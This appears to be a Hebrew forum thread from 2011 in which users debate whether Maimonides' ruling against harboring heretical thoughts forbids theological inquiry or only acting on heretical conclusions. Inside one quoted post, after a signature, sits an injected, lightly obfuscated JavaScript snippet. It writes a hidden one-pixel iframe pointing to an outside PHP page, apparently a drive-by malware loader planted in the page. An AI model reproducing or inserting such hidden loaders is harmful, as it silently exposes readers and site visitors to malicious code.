|
|
| נשלח ב-1/1/2011 22:20 |
|
| |
| מר_בר_מר כתב: |  | מקסמן
ראה את דברי מיימוני בתחילת האשכול שהביא את דברי הרמב"ם והודה שזה פשטות דבריו.. |
|
לא מצאתי כלום,
מצאתי שאסור ללכת אחרי לבו נווו ? אבל אמרת שאסור לחקור, וזה לא כתוב להפך הרמב"ם מחייב לחקור ראה בתחילת היד החזקה בהלכות יסודי התורה,
|
|
|
|
| נשלח ב-1/1/2011 22:30 |
|
| |
"כל מחשבה שהוא גורם לו לאדם לעקור עיקר מעיקרי התורה מוזהרין אנו שלא להעלותה על לבנו" הניסיון מוכיח שכמעט כל מי שמעסיק את עצמו בשאלות האלה לא נשאר ברמה הרוחנית שהוא היה בה קודם.
|
|
|
|
| נשלח ב-1/1/2011 22:32 |
|
| |
| מר_בר_מר כתב: |  | "כל מחשבה שהוא גורם לו לאדם לעקור עיקר מעיקרי התורה מוזהרין אנו שלא להעלותה על לבנו"
הניסיון מוכיח שכמעט כל מי שמעסיק את עצמו בשאלות האלה לא נשאר ברמה הרוחנית שהוא היה בה קודם. |
|
כל נסיון שלנו שמי שלא חוקר מאמין בשיתוף,
|
|
|
|
| נשלח ב-1/1/2011 22:39 |
|
| |
| מיימוני כתב: |  | הסקופר
ברוך הבא אל הפורום!
תודה על התוכחה. הבה ונבדוק מה בדיוק קובע הרמב"ם ואם זה שייך אלינו, לפורום.
הרמב"ם כותב:
רמב"ם הלכות עבודת כוכבים פרק ב הלכה ג
וכל הלאוין האלו בענין אחד הן והוא שלא יפנה אחר עבודת כוכבים וכל הנפנה אחריה בדרך שהוא עושה בו מעשה הרי זה לוקה, ולא עבודת כוכבים בלבד הוא שאסור להפנות אחריה במחשבה אלא כל מחשבה שהוא גורם לו לאדם לעקור עיקר מעיקרי התורה מוזהרין אנו שלא להעלותה על לבנו ולא נסיח דעתנו לכך ונחשוב ונמשך אחר הרהורי הלב, מפני שדעתו של אדם קצרה ולא כל הדעות יכולין להשיג האמת על בוריו, ואם ימשך כל אדם אחר מחשבות לבו נמצא מחריב את העולם לפי קוצר דעתו, כיצד פעמים יתור אחר עבודת כוכבים ופעמים יחשוב ביחוד הבורא שמא הוא שמא אינו, מה למעלה ומה למטה מה לפנים ומה לאחור, ופעמים בנבואה שמא היא אמת שמא היא אינה, ופעמים בתורה שמא היא מן השמים שמא אינה, ואינו יודע המדות שידין בהן עד שידע האמת על בוריו ונמצא יוצא לידי מינות, ועל ענין זה הזהירה תורה ונאמר בה ולא תתורו אחרי לבבכם ואחרי עיניכם אשר אתם זונים, כלומר לא ימשך כל אחד מכם אחר דעתו הקצרה וידמה שמחשבתו משגת האמת, כך אמרו חכמים אחרי לבבכם זו מינות ואחרי עיניכם זו זנות, ולאו זה אף על פי שהוא גורם לאדם לטרדו מן העולם הבא אין בו מלקות.
*** אם מעיינים בדברי הרמב"ם אפשר לראות שאכן אין ראוי לאדם להעסיק את עצמו בשאלות שאין לו יכולת לדון בהן.
אבל כמדומה שהרמב"ם לא דן כאן בשני מקרים:
א. יש כאלו שכישוריהם אכן מספיקים לכך. וכמדומה שרבים מבני הפורום עומדים בקריטריון הזה.
ב. יש בני אדם שלא חיפשו להעלות על ליבם שאלות פלפוליות, אלא שהחיים זימנו להם התלבטויות. מה יעשו? יצומו ויתפללו, או ילמדו ויעיינו?
יותר מכך, חלק גדול ממה שמובא כאן אינו שייך לשאלות שהרמב"ם אסר עליהן. למשל, האם השאלה המציקה מאד אם מה שאמרו חז"ל הוא נכון כמו נבואה, או שיש בדבריהם גם משלים שאינם עובדות היסטוריות, ואם יכלו לטעות. אלו שאלות שהיום בחברה החרדית יש כאלו שיגידו שכל מי שמעלה אותן הוא אפיקורס. אבל אלו אינן שאלות שהרמב"ם שולל ואלו שאלות חשובות מאד. כפי שתוכל לקרוא בעצמך בפורום שלנו.
אז תודה על התוכחה, ואם אתה בדרגה של מי שיכול לחשוב בלי להיבהל, אתה מוזמן להישאר כאן, לעיין ולתרום מחכמתך. ואם לא, אז קיים בעצמך "ברח דודי", סמיילי.
*** מיכי, למה למחוק? זו הערה חשובה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
> |
|
הרמב"ם כתב שאין כל הדעות יכולין להשיג האמת על בוריו ברור שיש הבדל בין אם פלוני יודע ש"ס, לבין פלוני יודע ש"ס על בוריו. אדם שיודע דבר על בוריו, אי אפשר "להתקיל" אותו.
רש"י פירש "על משענתו" - על בוריו וכחו (שמות כ"א י"ט) על בוריו - על בריאותו.
משתמע מהרמב"ם שלהשיג את האמת כן כולם יכולים להשיג, אם כי לא על בוריו מה זה "על בוריו" ?
אדם בן ימינו יכול לדעת בוודאות על קיומה של יבשת אוסטרליה, בלי לדעת להגדיר את ההוכחה לכך. המציאות היא שרוב האנשים בעולם, לא יוכלו להגדיר ולהסביר את ההוכחה לקיומה, ואף ישנם אנשים שניתן להביך אותם ולעורר בהם ספקות על קיומה. נניח בוקר בהיר יקום אדם השייך לקבוצת רוב האנשים בעולם, ויחשוב מצווה עלי להגדיר לעצמי את נושא הוכחת מציאות אוסטרליה, והוא לא מכיר את "המידות שידין בהן" הוא לא יודע להגדיר את ההוכחה הטבעית, שהוא עצמו מסתמך עליה ויודע אותה אף שלא יכול עדיין להגדיר אותה היטב. ואז כשיראה שהוא לא יכול להגדיר אותה בצורה טובה הוא עלול להתחיל לחשוב אולי באמת אין אוסטרליה. אם כי ודאי שטוב היה אם יחכם, וכן ידע להגדיר את ההוכחה הטבעית לקיומה של אוסטרליה, אבל לשם זאת עליו לידע את המידות שידין בהם, את דרכי ההוכחה והחשיבה בתחום זה. כשמדובר על אוסטרליה אולי לא נורא, אבל מה יקרה אם מחר יחשוב כך על הרפואה, או על בטיחות של מטוס?
ומה אם יחשוש, אולי הוא יזדהם אם לא ישטוף את ידיו כל רגע כמו בהפרעת OCD? לך תוכיח לו שהוא חושש לשווא? אם ברצונו להכיר את הנושא לעומק עליו ללמוד את נושא הזיהומים ואת נושא מערכת החיסון.
זאת אומרת גם אדם שבירר לעצמו ומכיר את האמת, עדיין יכול להיות שלא יוכל להגדיר ולבאר אותה לפרטיה עד כדי שהוא יוכל לענות לאחרים וגם לעצמו על כל שאלה.
בדברי הרמב"ם הכוונה לדעתי: 1. אדם שמכיר את האמת בתורה בדרך החיוב, שלא יתעסק בתורות זרות ויחפש להוכיח את התורה בדרך שלילתם. 2. אדם שברורה לו האמונה, באופן כללי, שלא יאתגר את עצמו בפרטים שמעל השגתו כמו שאלת ידיעה ובחירה 3. אדם שברורה לו האמונה, בכללה, "ואינו יודע המידות שידין בהן" ברור לו אבל לא יודע להגדיר את ההוכחות לפרטיהם, אל לו לקפוץ מעל היכולת שלו ולנסות להגדיר זאת, בדיוק כמו שאינו צריך להוכיח שאם לא ישטוף את ידיו מדי רגע הוא בסכנת הזדהמות, אלא קודם עליו להכיר את פרטי דרכי ההוכחה,
הרמב"ם כתב את מו"נ מ-2 הסיבות האחרונות להסביר דברים שלא בהשגתו של כל אחד, וכן ללמד את פרטי ההוכחות.
 |
|
|
|
|
| נשלח ב-1/1/2011 22:41 |
|
| |
מקסמן כתבת דברים קצת סתומים וכנראה אתה מתכוון שאלו שמאמינים בקבלה יכולים ליפול לידי אמונה בשיתוף. ואה"נ גם קבלה נכנס בכלל חקירות אלו ורק בדורות אחרונים התחילו ללמדם להמון, והנה עוד דוגמא לכמה קיקולים יכול לצאת אם כל אחד יחשוב שהוא יותר חכם מהרמב"ם, או שהרמב"ם לא דיבר באנשים כמותו, או שהרמב"ם לא דיבר אלא לזמנו. אבל אחד שלא יחקור שום דבר יישאר באמונה הפשוטה של שמע ישראל ה' אחד. ולא יחשוב יותר מזה ולא ירצה לחקור יותר מזה. ורק יקיים מצוותיו ית' וילמד תורתו לקדש את שמו.
|
|
|
|
| נשלח ב-1/1/2011 23:00 |
|
| |
כזה אדם הוא כמו מכונה, חמור בלי דעת, את אלה הרמב"ם שנא מאוד
_________________
|
|
|
|
| נשלח ב-1/1/2011 23:04 |
|
| |
איך ייתכן ששנא מאוד אם בהלכה שהובאה כאן כתב לעשות כך.
|
|
|
|
| נשלח ב-1/1/2011 23:09 |
|
| |
מהי רמתה הרוחנית של בהמה גסה חסרת דעת והבנה?
_________________
|
|
|
|
| נשלח ב-1/1/2011 23:14 |
|
| |
| מר_בר_מר כתב: |  | | איך ייתכן ששנא מאוד אם בהלכה שהובאה כאן כתב לעשות כך. |
|
אמרתי לך שאתה לא מבין את דבריו, והם פשוטים מאוד שאסור ללכת אחרי מחשבות כפירה,
ולא שאסור לחקור, ואמרתי לך שהוא אומר שזה מדאורייתא לחקור בהלכות יסודי התורה,
אתה מערבב שני דברים
_________________
|
|
|
|
| נשלח ב-2/1/2011 02:11 |
|
| |
מקסמן, נא להסביר מה בדיוק הרמב"ם אוסר ומה בדיוק הרמב"ם מחייב.
|
|
|
|
| נשלח ב-2/1/2011 12:42 |
|
| |
| יעקבביכלר כתב: |  | | מקסמן, נא להסביר מה בדיוק הרמב"ם אוסר ומה בדיוק הרמב"ם מחייב. |
|
לא תתורו אחרי לבבכם ואחרי עיניכם,
זה לא רמב"ם זה מקרא, והרמב"ם מצטט את המקרא,
מה קשה להבין כאן,
לא שאסור לראות ולחשוב, את זה התורה לא יכולה להאסור, הרי זה הטבע ואין שליטה בא,
התורה אומר לא ללכת אחריהם, כלומר ראיתי אשת איש יפה ?! אל תלך אחרי הלב אל תתן לעצמך ללכת אחרי מה שראיתה,
חשבתה כפירה ח"ו ?! אל תלך אחרי הכפירה !! כולמר תסיק מסקנות של כפירה,
(אגב: התורה מדבר על ע"ז ולא על כפירה, אני מדבר על הדאורייתא שבדבר,)
|
|
|
|
| נשלח ב-2/1/2011 12:48 |
|
| |
מקס ראיתי אשת איש יפה ?! אל תלך אחרי הלב אל תתן לעצמך ללכת אחרי מה שראיתה
ומה תגיד לאבא של משיח צדקנו- שדווקה נהג לא כדבריך? ומהאיסור כביכול הזה -נולד המשיח?
_________________
מודה ועוזב
|
|
|
|
|
| נשלח ב-2/1/2011 13:03 |
|
| |
נראה לי שיש לי תשובה שתניח את דעת כל המדיינים באשכול: למעישה הרמב"ם אסר לדון ובאמת הלכה כמותו למעישה ואסור לדון בעניינים אלו למעישה, לעומת זאת למעשה הרמב"ם לא אסר את הדיון בעניינים אלו ומותר לדון בהם למעשה.
|
|
|
|
| נשלח ב-2/1/2011 13:58 |
|
| |
ירוחם
איני יודע איזה ממזר אתה חושב שהוא המשיח. [האם זה מישהו שאני מכיר?]
אבל אם התכוונת לבית דוד .אביהם יהודה הלך אחרי עיניו ומצא אשה שאינה אשת איש!!!
|
|
|
|
| נשלח ב-2/1/2011 14:18 |
|
| |
מקסמן, אם הבנתי אותך נכון, נראה מהרמב"ם כמעט מפורש שלה כמוך שכן משמע מדבריו שאסור להעלות מחשבה שעוקרת אחד מהעיקרים אע"פ שלא נוהג כמותה ועיין נא בדוגמאות שמביא שיחקור ביחוד הבורא שמא הוא שמא אינו. מה שצ"ל לומר לכאורה זה שמה שאסור זה חקירה אובייקטבית כלומר להניח את כל האופציות לדיון משא"כ חקירה סובייקטבית אם נחליט בוודאות על הצד שתומך בעיקרים רק ננסה יותר להבין ולחקור הצד השני ע"מ לראות איך לסתור אותו (מה שכמובן קצת בעייתי כי אין לזה כ"כ משמעות כי ברגע שאני חוקר מה שאני ישתכנע זה מה שאאמין) ונראה לי שכבר משהו העלה פה כעי"ז וכן נראה לי שכך מסיק לבסוף הרב שמואל הבר במאמרו בגליון 13 של צהר. פי האתון, סבורני שירוחם התכוון ל"משיח בן דוד"
|
|
|
|
|